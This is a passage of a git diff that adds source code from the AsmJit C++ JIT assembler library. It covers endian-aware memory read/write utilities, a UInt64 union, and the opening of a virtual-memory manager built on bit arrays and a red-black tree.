ASMJIT_INLINE int32_t readI32uLE(const void* p) noexcept { return readI32xLE<0>(p); } + + static ASMJIT_INLINE int32_t readI32aBE(const void* p) noexcept { return readI32xBE<4>(p); } + static ASMJIT_INLINE int32_t readI32uBE(const void* p) noexcept { return readI32xBE<0>(p); } + + template + static ASMJIT_INLINE uint64_t readU64xLE(const void* p) noexcept { + ASMJIT_ASSUME_ALIGNED(p, Alignment > 1 ? Alignment : 1U); + if (ASMJIT_ARCH_LE && (ASMJIT_ARCH_UNALIGNED_64 || Alignment >= 8)) { + return static_cast(p)[0]; + } + else { + uint32_t x = readU32xLE(static_cast(p) + 0); + uint32_t y = readU32xLE(static_cast(p) + 4); + return static_cast(x) + (static_cast(y) << 32); + } + } + + template + static ASMJIT_INLINE uint64_t readU64xBE(const void* p) noexcept { + ASMJIT_ASSUME_ALIGNED(p, Alignment > 1 ? Alignment : 1U); + if (ASMJIT_ARCH_BE && (ASMJIT_ARCH_UNALIGNED_64 || Alignment >= 8)) { + return static_cast(p)[0]; + } + else { + uint32_t x = readU32xLE(static_cast(p) + 0); + uint32_t y = readU32xLE(static_cast(p) + 4); + return (static_cast(x) << 32) + static_cast(y); + } + } + + template + static ASMJIT_INLINE uint64_t readU64x(const void* p) noexcept { + return ASMJIT_ARCH_LE ? readU64xLE(p) : readU64xBE(p); + } + + template + static ASMJIT_INLINE int64_t readI64xLE(const void* p) noexcept { + return static_cast(readU64xLE(p)); + } + + template + static ASMJIT_INLINE int64_t readI64xBE(const void* p) noexcept { + return static_cast(readU64xBE(p)); + } + + template + static ASMJIT_INLINE int64_t readI64x(const void* p) noexcept { + return ASMJIT_ARCH_LE ? readI64xLE(p) : readI64xBE(p); + } + + static ASMJIT_INLINE uint64_t readU64a(const void* p) noexcept { return readU64x<8>(p); } + static ASMJIT_INLINE uint64_t readU64u(const void* p) noexcept { return readU64x<0>(p); } + + static ASMJIT_INLINE uint64_t readU64aLE(const void* p) noexcept { return readU64xLE<8>(p); } + static ASMJIT_INLINE uint64_t readU64uLE(const void* p) noexcept { return readU64xLE<0>(p); } + + static ASMJIT_INLINE uint64_t readU64aBE(const void* p) noexcept { return readU64xBE<8>(p); } + static ASMJIT_INLINE uint64_t readU64uBE(const void* p) noexcept { return readU64xBE<0>(p); } + + static ASMJIT_INLINE int64_t readI64a(const void* p) noexcept { return readI64x<8>(p); } + static ASMJIT_INLINE int64_t readI64u(const void* p) noexcept { return readI64x<0>(p); } + + static ASMJIT_INLINE int64_t readI64aLE(const void* p) noexcept { return readI64xLE<8>(p); } + static ASMJIT_INLINE int64_t readI64uLE(const void* p) noexcept { return readI64xLE<0>(p); } + + static ASMJIT_INLINE int64_t readI64aBE(const void* p) noexcept { return readI64xBE<8>(p); } + static ASMJIT_INLINE int64_t readI64uBE(const void* p) noexcept { return readI64xBE<0>(p); } + + // -------------------------------------------------------------------------- + // [WriteMem] + // -------------------------------------------------------------------------- + + static ASMJIT_INLINE void writeU8(void* p, uint32_t x) noexcept { + static_cast(p)[0] = static_cast(x & 0xFFU); + } + + static ASMJIT_INLINE void writeI8(void* p, int32_t x) noexcept { + static_cast(p)[0] = static_cast(x & 0xFF); + } + + template + static ASMJIT_INLINE void writeU16xLE(void* p, uint32_t x) noexcept { + ASMJIT_ASSUME_ALIGNED(p, Alignment > 1 ? Alignment : 1U); + if (ASMJIT_ARCH_LE && (ASMJIT_ARCH_UNALIGNED_16 || Alignment >= 2)) { + static_cast(p)[0] = static_cast(x & 0xFFFFU); + } + else { + static_cast(p)[0] = static_cast((x ) & 0xFFU); + static_cast(p)[1] = static_cast((x >> 8) & 0xFFU); + } + } + + template + static ASMJIT_INLINE void writeU16xBE(void* p, uint32_t x) noexcept { + ASMJIT_ASSUME_ALIGNED(p, Alignment > 1 ? Alignment : 1U); + if (ASMJIT_ARCH_BE && (ASMJIT_ARCH_UNALIGNED_16 || Alignment >= 2)) { + static_cast(p)[0] = static_cast(x & 0xFFFFU); + } + else { + static_cast(p)[0] = static_cast((x >> 8) & 0xFFU); + static_cast(p)[1] = static_cast((x ) & 0xFFU); + } + } + + template + static ASMJIT_INLINE void writeU16x(void* p, uint32_t x) noexcept { + if (ASMJIT_ARCH_LE) + writeU16xLE(p, x); + else + writeU16xBE(p, x); + } + + template + static ASMJIT_INLINE void writeI16xLE(void* p, int32_t x) noexcept { + writeU16xLE(p, static_cast(x)); + } + + template + static ASMJIT_INLINE void writeI16xBE(void* p, int32_t x) noexcept { + writeU16xBE(p, static_cast(x)); + } + + template + static ASMJIT_INLINE void writeI16x(void* p, int32_t x) noexcept { + writeU16x(p, static_cast(x)); + } + + static ASMJIT_INLINE void writeU16aLE(void* p, uint32_t x) noexcept { writeU16xLE<2>(p, x); } + static ASMJIT_INLINE void writeU16uLE(void* p, uint32_t x) noexcept { writeU16xLE<0>(p, x); } + + static ASMJIT_INLINE void writeU16aBE(void* p, uint32_t x) noexcept { writeU16xBE<2>(p, x); } + static ASMJIT_INLINE void writeU16uBE(void* p, uint32_t x) noexcept { writeU16xBE<0>(p, x); } + + static ASMJIT_INLINE void writeU16a(void* p, uint32_t x) noexcept { writeU16x<2>(p, x); } + static ASMJIT_INLINE void writeU16u(void* p, uint32_t x) noexcept { writeU16x<0>(p, x); } + + static ASMJIT_INLINE void writeI16aLE(void* p, int32_t x) noexcept { writeI16xLE<2>(p, x); } + static ASMJIT_INLINE void writeI16uLE(void* p, int32_t x) noexcept { writeI16xLE<0>(p, x); } + + static ASMJIT_INLINE void writeI16aBE(void* p, int32_t x) noexcept { writeI16xBE<2>(p, x); } + static ASMJIT_INLINE void writeI16uBE(void* p, int32_t x) noexcept { writeI16xBE<0>(p, x); } + + static ASMJIT_INLINE void writeI16a(void* p, int32_t x) noexcept { writeI16x<2>(p, x); } + static ASMJIT_INLINE void writeI16u(void* p, int32_t x) noexcept { writeI16x<0>(p, x); } + + template + static ASMJIT_INLINE void writeU32xLE(void* p, uint32_t x) noexcept { + ASMJIT_ASSUME_ALIGNED(p, Alignment > 1 ? Alignment : 1U); + if (ASMJIT_ARCH_UNALIGNED_32 || Alignment >= 4) { + static_cast(p)[0] = ASMJIT_ARCH_LE ? x : byteswap32(x); + } + else { + writeU16xLE(static_cast(p) + 0, x >> 16); + writeU16xLE(static_cast(p) + 2, x); + } + } + + template + static ASMJIT_INLINE void writeU32xBE(void* p, uint32_t x) noexcept { + ASMJIT_ASSUME_ALIGNED(p, Alignment > 1 ? Alignment : 1U); + if (ASMJIT_ARCH_UNALIGNED_32 || Alignment >= 4) { + static_cast(p)[0] = ASMJIT_ARCH_BE ? x : byteswap32(x); + } + else { + writeU16xBE(static_cast(p) + 0, x); + writeU16xBE(static_cast(p) + 2, x >> 16); + } + } + + template + static ASMJIT_INLINE void writeU32x(void* p, uint32_t x) noexcept { + if (ASMJIT_ARCH_LE) + writeU32xLE(p, x); + else + writeU32xBE(p, x); + } + + template + static ASMJIT_INLINE void writeI32xLE(void* p, int32_t x) noexcept { + writeU32xLE(p, static_cast(x)); + } + + template + static ASMJIT_INLINE void writeI32xBE(void* p, int32_t x) noexcept { + writeU32xBE(p, static_cast(x)); + } + + template + static ASMJIT_INLINE void writeI32x(void* p, int32_t x) noexcept { + writeU32x(p, static_cast(x)); + } + + static ASMJIT_INLINE void writeU32aLE(void* p, uint32_t x) noexcept { writeU32xLE<4>(p, x); } + static ASMJIT_INLINE void writeU32uLE(void* p, uint32_t x) noexcept { writeU32xLE<0>(p, x); } + + static ASMJIT_INLINE void writeU32aBE(void* p, uint32_t x) noexcept { writeU32xBE<4>(p, x); } + static ASMJIT_INLINE void writeU32uBE(void* p, uint32_t x) noexcept { writeU32xBE<0>(p, x); } + + static ASMJIT_INLINE void writeU32a(void* p, uint32_t x) noexcept { writeU32x<4>(p, x); } + static ASMJIT_INLINE void writeU32u(void* p, uint32_t x) noexcept { writeU32x<0>(p, x); } + + static ASMJIT_INLINE void writeI32aLE(void* p, int32_t x) noexcept { writeI32xLE<4>(p, x); } + static ASMJIT_INLINE void writeI32uLE(void* p, int32_t x) noexcept { writeI32xLE<0>(p, x); } + + static ASMJIT_INLINE void writeI32aBE(void* p, int32_t x) noexcept { writeI32xBE<4>(p, x); } + static ASMJIT_INLINE void writeI32uBE(void* p, int32_t x) noexcept { writeI32xBE<0>(p, x); } + + static ASMJIT_INLINE void writeI32a(void* p, int32_t x) noexcept { writeI32x<4>(p, x); } + static ASMJIT_INLINE void writeI32u(void* p, int32_t x) noexcept { writeI32x<0>(p, x); } + + template + static ASMJIT_INLINE void writeU64xLE(void* p, uint64_t x) noexcept { + ASMJIT_ASSUME_ALIGNED(p, Alignment > 1 ? Alignment : 1U); + if (ASMJIT_ARCH_LE && (ASMJIT_ARCH_UNALIGNED_64 || Alignment >= 8)) { + static_cast(p)[0] = x; + } + else { + writeU32xLE(static_cast(p) + 0, static_cast(x >> 32)); + writeU32xLE(static_cast(p) + 4, static_cast(x & 0xFFFFFFFFU)); + } + } + + template + static ASMJIT_INLINE void writeU64xBE(void* p, uint64_t x) noexcept { + ASMJIT_ASSUME_ALIGNED(p, Alignment > 1 ? Alignment : 1U); + if (ASMJIT_ARCH_BE && (ASMJIT_ARCH_UNALIGNED_64 || Alignment >= 8)) { + static_cast(p)[0] = x; + } + else { + writeU32xBE(static_cast(p) + 0, static_cast(x & 0xFFFFFFFFU)); + writeU32xBE(static_cast(p) + 4, static_cast(x >> 32)); + } + } + + template + static ASMJIT_INLINE void writeU64x(void* p, uint64_t x) noexcept { + if (ASMJIT_ARCH_LE) + writeU64xLE(p, x); + else + writeU64xBE(p, x); + } + + template + static ASMJIT_INLINE void writeI64xLE(void* p, int64_t x) noexcept { + writeU64xLE(p, static_cast(x)); + } + + template + static ASMJIT_INLINE void writeI64xBE(void* p, int64_t x) noexcept { + writeU64xBE(p, static_cast(x)); + } + + template + static ASMJIT_INLINE void writeI64x(void* p, int64_t x) noexcept { + writeU64x(p, static_cast(x)); + } + + static ASMJIT_INLINE void writeU64aLE(void* p, uint64_t x) noexcept { writeU64xLE<8>(p, x); } + static ASMJIT_INLINE void writeU64uLE(void* p, uint64_t x) noexcept { writeU64xLE<0>(p, x); } + + static ASMJIT_INLINE void writeU64aBE(void* p, uint64_t x) noexcept { writeU64xBE<8>(p, x); } + static ASMJIT_INLINE void writeU64uBE(void* p, uint64_t x) noexcept { writeU64xBE<0>(p, x); } + + static ASMJIT_INLINE void writeU64a(void* p, uint64_t x) noexcept { writeU64x<8>(p, x); } + static ASMJIT_INLINE void writeU64u(void* p, uint64_t x) noexcept { writeU64x<0>(p, x); } + + static ASMJIT_INLINE void writeI64aLE(void* p, int64_t x) noexcept { writeI64xLE<8>(p, x); } + static ASMJIT_INLINE void writeI64uLE(void* p, int64_t x) noexcept { writeI64xLE<0>(p, x); } + + static ASMJIT_INLINE void writeI64aBE(void* p, int64_t x) noexcept { writeI64xBE<8>(p, x); } + static ASMJIT_INLINE void writeI64uBE(void* p, int64_t x) noexcept { writeI64xBE<0>(p, x); } + + static ASMJIT_INLINE void writeI64a(void* p, int64_t x) noexcept { writeI64x<8>(p, x); } + static ASMJIT_INLINE void writeI64u(void* p, int64_t x) noexcept { writeI64x<0>(p, x); } +} // Utils namespace + +// ============================================================================ +// [asmjit::UInt64] +// ============================================================================ + +union UInt64 { + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE UInt64 fromUInt64(uint64_t val) noexcept { + UInt64 data; + data.setUInt64(val); + return data; + } + + ASMJIT_INLINE UInt64 fromUInt64(const UInt64& val) noexcept { + UInt64 data; + data.setUInt64(val); + return data; + } + + // -------------------------------------------------------------------------- + // [Reset] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE void reset() noexcept { + if (ASMJIT_ARCH_64BIT) { + u64 = 0; + } + else { + u32[0] = 0; + u32[1] = 0; + } + } + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE uint64_t getUInt64() const noexcept { + return u64; + } + + ASMJIT_INLINE UInt64& setUInt64(uint64_t val) noexcept { + u64 = val; + return *this; + } + + ASMJIT_INLINE UInt64& setUInt64(const UInt64& val) noexcept { + if (ASMJIT_ARCH_64BIT) { + u64 = val.u64; + } + else { + u32[0] = val.u32[0]; + u32[1] = val.u32[1]; + } + return *this; + } + + ASMJIT_INLINE UInt64& setPacked_2x32(uint32_t u0, uint32_t u1) noexcept { + if (ASMJIT_ARCH_64BIT) { + u64 = Utils::pack64_2x32(u0, u1); + } + else { + u32[0] = u0; + u32[1] = u1; + } + return *this; + } + + // -------------------------------------------------------------------------- + // [Add] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE UInt64& add(uint64_t val) noexcept { + u64 += val; + return *this; + } + + ASMJIT_INLINE UInt64& add(const UInt64& val) noexcept { + if (ASMJIT_ARCH_64BIT) { + u64 += val.u64; + } + else { + u32[0] += val.u32[0]; + u32[1] += val.u32[1]; + } + return *this; + } + + // -------------------------------------------------------------------------- + // [Sub] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE UInt64& sub(uint64_t val) noexcept { + u64 -= val; + return *this; + } + + ASMJIT_INLINE UInt64& sub(const UInt64& val) noexcept { + if (ASMJIT_ARCH_64BIT) { + u64 -= val.u64; + } + else { + u32[0] -= val.u32[0]; + u32[1] -= val.u32[1]; + } + return *this; + } + + // -------------------------------------------------------------------------- + // [And] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE UInt64& and_(uint64_t val) noexcept { + u64 &= val; + return *this; + } + + ASMJIT_INLINE UInt64& and_(const UInt64& val) noexcept { + if (ASMJIT_ARCH_64BIT) { + u64 &= val.u64; + } + else { + u32[0] &= val.u32[0]; + u32[1] &= val.u32[1]; + } + return *this; + } + + // -------------------------------------------------------------------------- + // [AndNot] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE UInt64& andNot(uint64_t val) noexcept { + u64 &= ~val; + return *this; + } + + ASMJIT_INLINE UInt64& andNot(const UInt64& val) noexcept { + if (ASMJIT_ARCH_64BIT) { + u64 &= ~val.u64; + } + else { + u32[0] &= ~val.u32[0]; + u32[1] &= ~val.u32[1]; + } + return *this; + } + + // -------------------------------------------------------------------------- + // [Or] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE UInt64& or_(uint64_t val) noexcept { + u64 |= val; + return *this; + } + + ASMJIT_INLINE UInt64& or_(const UInt64& val) noexcept { + if (ASMJIT_ARCH_64BIT) { + u64 |= val.u64; + } + else { + u32[0] |= val.u32[0]; + u32[1] |= val.u32[1]; + } + return *this; + } + + // -------------------------------------------------------------------------- + // [Xor] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE UInt64& xor_(uint64_t val) noexcept { + u64 ^= val; + return *this; + } + + ASMJIT_INLINE UInt64& xor_(const UInt64& val) noexcept { + if (ASMJIT_ARCH_64BIT) { + u64 ^= val.u64; + } + else { + u32[0] ^= val.u32[0]; + u32[1] ^= val.u32[1]; + } + return *this; + } + + // -------------------------------------------------------------------------- + // [Eq] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE bool isZero() const noexcept { + if (ASMJIT_ARCH_64BIT) + return u64 == 0; + else + return (u32[0] | u32[1]) == 0; + } + + ASMJIT_INLINE bool isNonZero() const noexcept { + if (ASMJIT_ARCH_64BIT) + return u64 != 0; + else + return (u32[0] | u32[1]) != 0; + } + + ASMJIT_INLINE bool eq(uint64_t val) const noexcept { + return u64 == val; + } + + ASMJIT_INLINE bool eq(const UInt64& val) const noexcept { + if (ASMJIT_ARCH_64BIT) + return u64 == val.u64; + else + return u32[0] == val.u32[0] && u32[1] == val.u32[1]; + } + + // -------------------------------------------------------------------------- + // [Operator Overload] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE UInt64& operator+=(uint64_t val) noexcept { return add(val); } + ASMJIT_INLINE UInt64& operator+=(const UInt64& val) noexcept { return add(val); } + + ASMJIT_INLINE UInt64& operator-=(uint64_t val) noexcept { return sub(val); } + ASMJIT_INLINE UInt64& operator-=(const UInt64& val) noexcept { return sub(val); } + + ASMJIT_INLINE UInt64& operator&=(uint64_t val) noexcept { return and_(val); } + ASMJIT_INLINE UInt64& operator&=(const UInt64& val) noexcept { return and_(val); } + + ASMJIT_INLINE UInt64& operator|=(uint64_t val) noexcept { return or_(val); } + ASMJIT_INLINE UInt64& operator|=(const UInt64& val) noexcept { return or_(val); } + + ASMJIT_INLINE UInt64& operator^=(uint64_t val) noexcept { return xor_(val); } + ASMJIT_INLINE UInt64& operator^=(const UInt64& val) noexcept { return xor_(val); } + + ASMJIT_INLINE bool operator==(uint64_t val) const noexcept { return eq(val); } + ASMJIT_INLINE bool operator==(const UInt64& val) const noexcept { return eq(val); } + + ASMJIT_INLINE bool operator!=(uint64_t val) const noexcept { return !eq(val); } + ASMJIT_INLINE bool operator!=(const UInt64& val) const noexcept { return !eq(val); } + + ASMJIT_INLINE bool operator<(uint64_t val) const noexcept { return u64 < val; } + ASMJIT_INLINE bool operator<(const UInt64& val) const noexcept { return u64 < val.u64; } + + ASMJIT_INLINE bool operator<=(uint64_t val) const noexcept { return u64 <= val; } + ASMJIT_INLINE bool operator<=(const UInt64& val) const noexcept { return u64 <= val.u64; } + + ASMJIT_INLINE bool operator>(uint64_t val) const noexcept { return u64 > val; } + ASMJIT_INLINE bool operator>(const UInt64& val) const noexcept { return u64 > val.u64; } + + ASMJIT_INLINE bool operator>=(uint64_t val) const noexcept { return u64 >= val; } + ASMJIT_INLINE bool operator>=(const UInt64& val) const noexcept { return u64 >= val.u64; } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + int8_t i8[8]; //!< 8-bit signed integer (8x). + uint8_t u8[8]; //!< 8-bit unsigned integer (8x). + + int16_t i16[4]; //!< 16-bit signed integer (4x). + uint16_t u16[4]; //!< 16-bit unsigned integer (4x). + + int32_t i32[2]; //!< 32-bit signed integer (2x). + uint32_t u32[2]; //!< 32-bit unsigned integer (2x). + + int64_t i64; //!< 64-bit signed integer. + uint64_t u64; //!< 64-bit unsigned integer. + + float f32[2]; //!< 32-bit floating point (2x). + double f64; //!< 64-bit floating point. + +#if ASMJIT_ARCH_LE + struct { float f32Lo, f32Hi; }; + struct { int32_t i32Lo, i32Hi; }; + struct { uint32_t u32Lo, u32Hi; }; +#else + struct { float f32Hi, f32Lo; }; + struct { int32_t i32Hi, i32Lo; }; + struct { uint32_t u32Hi, u32Lo; }; +#endif // ASMJIT_ARCH_LE +}; + +//! \} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // _ASMJIT_BASE_UTILS_H diff --git a/asmjit/src/asmjit/base/vmem.cpp b/asmjit/src/asmjit/base/vmem.cpp new file mode 100644 index 0000000..553032a --- /dev/null +++ b/asmjit/src/asmjit/base/vmem.cpp @@ -0,0 +1,1077 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Export] +#define ASMJIT_EXPORTS + +// [Dependencies] +#include "../base/osutils.h" +#include "../base/utils.h" +#include "../base/vmem.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +// This file contains implementation of virtual memory management for AsmJit +// library. There are several goals I decided to write implementation myself: +// +// - Granularity of allocated blocks is different than granularity for a typical +// C malloc. It is at least 64-bytes so CodeEmitter can guarantee the alignment +// up to 64 bytes, which is the size of a cache-line and it's also required by +// AVX-512 aligned loads and stores. Alignment requirements can grow in the future, +// but at the moment 64 bytes is safe (we may jump to 128 bytes if necessary or +// make it configurable). +// +// - Keep memory manager information outside of the allocated virtual memory +// pages, because these pages allow machine code execution and there should +// be not data required to keep track of these blocks. Another reason is that +// some environments (i.e. iOS) allow to generate and run JIT code, but this +// code has to be set to [Executable, but not Writable]. +// +// - Keep implementation simple and easy to follow. +// +// Implementation is based on bit arrays and binary trees. Bit arrays contain +// information related to allocated and unused blocks of memory. The size of +// a block is described by `MemNode::density`. Count of blocks is stored in +// `MemNode::blocks`. For example if density is 64 and count of blocks is 20, +// memory node contains 64*20 bytes of memory and the smallest possible allocation +// (and also alignment) is 64 bytes. So density is also related to memory +// alignment. Binary trees (RB) are used to enable fast lookup into all addresses +// allocated by memory manager instance. This is used mainly by `VMemPrivate::release()`. +// +// Bit array looks like this (empty = unused, X = used) - Size of block 64: +// +// ------------------------------------------------------------------------- +// | |X|X| | | | | |X|X|X|X|X|X| | | | | | | | | | | | |X| | | | |X|X|X| | | +// ------------------------------------------------------------------------- +// (Maximum continuous block) +// +// These bits show that there are 12 allocated blocks (X) of 64 bytes, so total +// size allocated is 768 bytes. Maximum count of continuous memory is 12 * 64. + +namespace asmjit { + +// ============================================================================ +// [asmjit::VMemMgr - BitOps] +// ============================================================================ + +#define M_DIV(x, y) ((x) / (y)) +#define M_MOD(x, y) ((x) % (y)) + +//! \internal +enum { kBitsPerEntity = (sizeof(size_t) * 8) }; + +//! \internal +//! +//! Set `len` bits in `buf` starting at `index` bit index. +static void _SetBits(size_t* buf, size_t index, size_t len) noexcept { + if (len == 0) + return; + + size_t i = index / kBitsPerEntity; // size_t[] + size_t j = index % kBitsPerEntity; // size_t[][] bit index + + // How many bytes process in the first group. + size_t c = kBitsPerEntity - j; + if (c > len) + c = len; + + // Offset. + buf += i; + + *buf++ |= ((~(size_t)0) >> (kBitsPerEntity - c)) << j; + len -= c; + + while (len >= kBitsPerEntity) { + *buf++ = ~(size_t)0; + len -= kBitsPerEntity; + } + + if (len) + *buf |= ((~(size_t)0) >> (kBitsPerEntity - len)); +} + +// ============================================================================ +// [asmjit::VMemMgr::TypeDefs] +// ============================================================================ + +typedef VMemMgr::RbNode RbNode; +typedef VMemMgr::MemNode MemNode; +typedef VMemMgr::PermanentNode PermanentNode; + +// ============================================================================ +// [asmjit::VMemMgr::RbNode] +// ============================================================================ + +//! \internal +//! +//! Base red-black tree node. +struct VMemMgr::RbNode { + // Implementation is based on article by Julienne Walker (Public Domain), + // including C code and original comments. Thanks for the excellent article. + + RbNode* node[2]; //!< Left[0] and right[1] nodes. + uint8_t* mem; //!< Virtual memory address. + uint32_t red; //!< Node color (red vs. black). +}; + +//! \internal +//! +//! Get if the node is red (nullptr or node with red flag). +static ASMJIT_INLINE bool rbIsRed(RbNode* node) noexcept { + return node && node->red; +} + +//! \internal +//! +//! Check whether the RB tree is valid. +static int rbAssert(RbNode* root) noexcept { + if (!root) return 1; + + RbNode* ln = root->node[0]; + RbNode* rn = root->node[1]; + + // Red violation. + ASMJIT_ASSERT(!(rbIsRed(root) && (rbIsRed(ln) || rbIsRed(rn)))); + + int lh = rbAssert(ln); + int rh = rbAssert(rn); + + // Invalid btree. + ASMJIT_ASSERT(ln == nullptr || ln->mem < root->mem); + ASMJIT_ASSERT(rn == nullptr || rn->mem > root->mem); + + // Black violation. + ASMJIT_ASSERT(!(lh != 0 && rh != 0 && lh != rh)); + + // Only count black links. + if (lh != 0 && rh != 0) + return rbIsRed(root) ? lh : lh + 1; + else + return 0; +} + +//! \internal +//! +//! Single rotation. +static ASMJIT_INLINE RbNode* rbRotateSingle(RbNode* root, int dir) noexcept { + RbNode* save = root->node[!dir]; + + root->node[!dir] = save->node[dir]; + save->node[dir] = root; + + root->red = 1; + save->red = 0; + + return save; +} + +//! \internal +//! +//! Double rotation. +static ASMJIT_INLINE RbNode* rbRotateDouble(RbNode* root, int dir) noexcept { + root->node[!dir] = rbRotateSingle(root->node[!dir], !dir); + return rbRotateSingle(root, dir); +} + +// ============================================================================ +// [asmjit::VMemMgr::MemNode] +// ============================================================================ + +struct VMemMgr::MemNode : public RbNode { + ASMJIT_INLINE void init(MemNode* other) noexcept { + mem = other->mem; + + size = other->size; + used = other->used; + blocks = other->blocks; + density = other->density; + largestBlock = other->largestBlock; + + baUsed = other->baUsed; + baCont = other->baCont; + } + + // Get available space. + ASMJIT_INLINE size_t getAvailable() const noexcept { return size - used; } + + MemNode* prev; // Prev node in list. + MemNode* next; // Next node in list. + + size_t size; // How many bytes contain this node. + size_t used; // How many bytes are used in this node. + size_t blocks; // How many blocks are here. + size_t density; // Minimum count of allocated bytes in this node (also alignment). + size_t largestBlock; // Contains largest block that can be allocated. + + size_t* baUsed; // Contains bits about used blocks (0 = unused, 1 = used). + size_t* baCont; // Contains bits about continuous blocks (0 = stop , 1 = continue). +}; + +// ============================================================================ +// [asmjit::VMemMgr::PermanentNode] +// ============================================================================ + +//! \internal +//! +//! Permanent node. +struct VMemMgr::PermanentNode { + //! Get available space. + ASMJIT_INLINE size_t getAvailable() const noexcept { return size - used; } + + PermanentNode* prev; // Pointer to prev chunk or nullptr. + uint8_t* mem; // Base pointer (virtual memory address). + size_t size; // Count of bytes allocated. + size_t used; // Count of bytes used. +}; + +// ============================================================================ +// [asmjit::VMemMgr - Private] +// ============================================================================ + +//! \internal +//! +//! Helper to avoid `#ifdef`s in the code. +ASMJIT_INLINE uint8_t* vMemMgrAllocVMem(VMemMgr* self, size_t size, size_t* vSize) noexcept { + uint32_t flags = OSUtils::kVMWritable | OSUtils::kVMExecutable; +#if !ASMJIT_OS_WINDOWS + return static_cast(OSUtils::allocVirtualMemory(size, vSize, flags)); +#else + return static_cast(OSUtils::allocProcessMemory(self->_hProcess, size, vSize, flags)); +#endif +} + +//! \internal +//! +//! Helper to avoid `#ifdef`s in the code. +ASMJIT_INLINE Error vMemMgrReleaseVMem(VMemMgr* self, void* p, size_t vSize) noexcept { +#if !ASMJIT_OS_WINDOWS + return OSUtils::releaseVirtualMemory(p, vSize); +#else + return OSUtils::releaseProcessMemory(self->_hProcess, p, vSize); +#endif +} + +//! \internal +//! +//! Check whether the Red-Black tree is valid. +static bool vMemMgrCheckTree(VMemMgr* self) noexcept { + return rbAssert(self->_root) > 0; +} + +//! \internal +//! +//! Alloc virtual memory including a heap memory needed for `MemNode` data. +//! +//! Returns set-up `MemNode*` or nullptr if allocation failed. +static MemNode* vMemMgrCreateNode(VMemMgr* self, size_t size, size_t density) noexcept { + size_t vSize; + uint8_t* vmem = vMemMgrAllocVMem(self, size, &vSize); + if (!vmem) return nullptr; + + size_t blocks = (vSize / density); + size_t bsize = (((blocks + 7) >> 3) + sizeof(size_t) - 1) & ~(size_t)(sizeof(size_t) - 1); + + MemNode* node = static_cast(Internal::allocMemory(sizeof(MemNode))); + uint8_t* data = static_cast(Internal::allocMemory(bsize * 2)); + + // Out of memory. + if (!node || !data) { + vMemMgrReleaseVMem(self, vmem, vSize); + if (node) Internal::releaseMemory(node); + if (data) Internal::releaseMemory(data); + return nullptr; + } + + // Initialize RbNode data. + node->node[0] = nullptr; + node->node[1] = nullptr; + node->mem = vmem; + node->red = 1; + + // Initialize MemNode data. + node->prev = nullptr; + node->next = nullptr; + + node->size = vSize; + node->used = 0; + node->blocks = blocks; + node->density = density; + node->largestBlock = vSize; + + ::memset(data, 0, bsize * 2); + node->baUsed = reinterpret_cast(data); + node->baCont = reinterpret_cast(data + bsize); + + return node; +} + +static void vMemMgrInsertNode(VMemMgr* self, MemNode* node) noexcept { + if (!self->_root) { + // Empty tree case. + self->_root = node; + } + else { + // False tree root. + RbNode head = { { nullptr, nullptr }, 0, 0 }; + + // Grandparent & parent. + RbNode* g = nullptr; + RbNode* t = &head; + + // Iterator & parent. + RbNode* p = nullptr; + RbNode* q = t->node[1] = self->_root; + + int dir = 0; + int last = 0; // Not needed to initialize, but makes some tools happy. + + // Search down the tree. + for (;;) { + if (!q) { + // Insert new node at the bottom. + q = node; + p->node[dir] = node; + } + else if (rbIsRed(q->node[0]) && rbIsRed(q->node[1])) { + // Color flip. + q->red = 1; + q->node[0]->red = 0; + q->node[1]->red = 0; + } + + // Fix red violation. + if (rbIsRed(q) && rbIsRed(p)) { + int dir2 = t->node[1] == g; + t->node[dir2] = q == p->node[last] ? rbRotateSingle(g, !last) : rbRotateDouble(g, !last); + } + + // Stop if found. + if (q == node) + break; + + last = dir; + dir = q->mem < node->mem; + + // Update helpers. + if (g) t = g; + + g = p; + p = q; + q = q->node[dir]; + } + + // Update root. + self->_root = static_cast(head.node[1]); + } + + // Make root black. + self->_root->red = 0; + + // Link with others. + node->prev = self->_last; + + if (!self->_first) { + self->_first = node; + self->_last = node; + self->_optimal = node; + } + else { + node->prev = self->_last; + self->_last->next = node; + self->_last = node; + } +} + +//! \internal +//! +//! Remove node from Red-Black tree. +//! +//! Returns node that should be freed, but it doesn't have to be necessarily +//! the `node` passed. +static MemNode* vMemMgrRemoveNode(VMemMgr* self, MemNode* node) noexcept { + // False tree root. + RbNode head = { { nullptr, nullptr }, 0, 0 }; + + // Helpers. + RbNode* q = &head; + RbNode* p = nullptr; + RbNode* g = nullptr; + + // Found item. + RbNode* f = nullptr; + int dir = 1; + + // Set up. + q->node[1] = self->_root; + + // Search and push a red down. + while (q->node[dir]) { + int last = dir; + + // Update helpers. + g = p; + p = q; + q = q->node[dir]; + dir = q->mem < node->mem; + + // Save found node. + if (q == node) + f = q; + + // Push the red node down. + if (!rbIsRed(q) && !rbIsRed(q->node[dir])) { + if (rbIsRed(q->node[!dir])) { + p = p->node[last] = rbRotateSingle(q, dir); + } + else if (!rbIsRed(q->node[!dir])) { + RbNode* s = p->node[!last]; + + if (s) { + if (!rbIsRed(s->node[!last]) && !rbIsRed(s->node[last])) { + // Color flip. + p->red = 0; + s->red = 1; + q->red = 1; + } + else { + int dir2 = g->node[1] == p; + + if (rbIsRed(s->node[last])) + g->node[dir2] = rbRotateDouble(p, last); + else if (rbIsRed(s->node[!last])) + g->node[dir2] = rbRotateSingle(p, last); + + // Ensure correct coloring. + q->red = g->node[dir2]->red = 1; + g->node[dir2]->node[0]->red = 0; + g->node[dir2]->node[1]->red = 0; + } + } + } + 